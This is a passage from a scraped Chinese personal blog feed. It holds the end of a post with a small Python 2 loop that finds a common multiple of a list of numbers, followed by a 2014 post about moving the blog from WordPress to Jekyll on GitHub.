<span class="mi">120</span> <span class="mi">108</span> <span class="mi">108</span>
<span class="mi">120</span> <span class="mi">120</span> <span class="mi">108</span>
<span class="mi">120</span> <span class="mi">120</span> <span class="mi">126</span>
<span class="mi">150</span> <span class="mi">120</span> <span class="mi">126</span>
<span class="mi">150</span> <span class="mi">132</span> <span class="mi">126</span>
<span class="mi">150</span> <span class="mi">132</span> <span class="mi">144</span>
<span class="mi">150</span> <span class="mi">144</span> <span class="mi">144</span>
<span class="mi">150</span> <span class="mi">156</span> <span class="mi">144</span>
<span class="mi">150</span> <span class="mi">156</span> <span class="mi">162</span>
<span class="mi">180</span> <span class="mi">156</span> <span class="mi">162</span>
<span class="mi">180</span> <span class="mi">168</span> <span class="mi">162</span>
<span class="mi">180</span> <span class="mi">168</span> <span class="mi">180</span>
<span class="mi">180</span> <span class="mi">180</span> <span class="mi">180</span></code></pre></figure>
<p>##<em>代码如下</em></p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">L</span> <span class="o">=</span> <span class="p">[</span><span class="mi">2</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
<span class="n">b</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">L</span><span class="p">]</span>
<span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">L</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">all_equal</span><span class="p">(</span><span class="n">ilist</span><span class="p">):</span>
<span class="n">start</span> <span class="o">=</span> <span class="n">ilist</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">ilist</span><span class="p">[</span><span class="mi">1</span><span class="p">:]:</span>
<span class="k">if</span> <span class="n">start</span> <span class="o">!=</span> <span class="n">key</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">False</span>
<span class="k">return</span> <span class="bp">True</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">all_equal</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="n">min_num</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="n">L</span><span class="p">)</span>
<span class="k">for</span> <span class="n">index</span><span class="p">,</span> <span class="n">item</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">L</span><span class="p">):</span>
<span class="k">if</span> <span class="n">item</span> <span class="o">==</span> <span class="n">min_num</span><span class="p">:</span>
<span class="n">L</span><span class="p">[</span><span class="n">index</span><span class="p">]</span> <span class="o">+=</span> <span class="n">b</span><span class="p">[</span><span class="n">index</span><span class="p">]</span>
<span class="k">print</span> <span class="n">L</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span></code></pre></figure>
新的开始
2014-02-06T00:00:00+00:00
http://fish267.github.io/2014/02/06/new-start
<p> BAE没有办法绑定域名了,而且一直觉得wordpress比较庞大不受控制等原因,就转到了Jekyll,也算了却了一桩心事,感觉非常好。
<br /> 以前博客的内容,我会慢慢修改着补充过来,这是自己的一片小天地
<br /> 能用上自由度这么高的blog,真的非常感谢Github, 感谢Jekyll和主题的制作维护作者, 感谢各种开源工作者
<br /> 今年就要找工作了,学生时代即将结束,文章标题新的开始!加油吧!</p>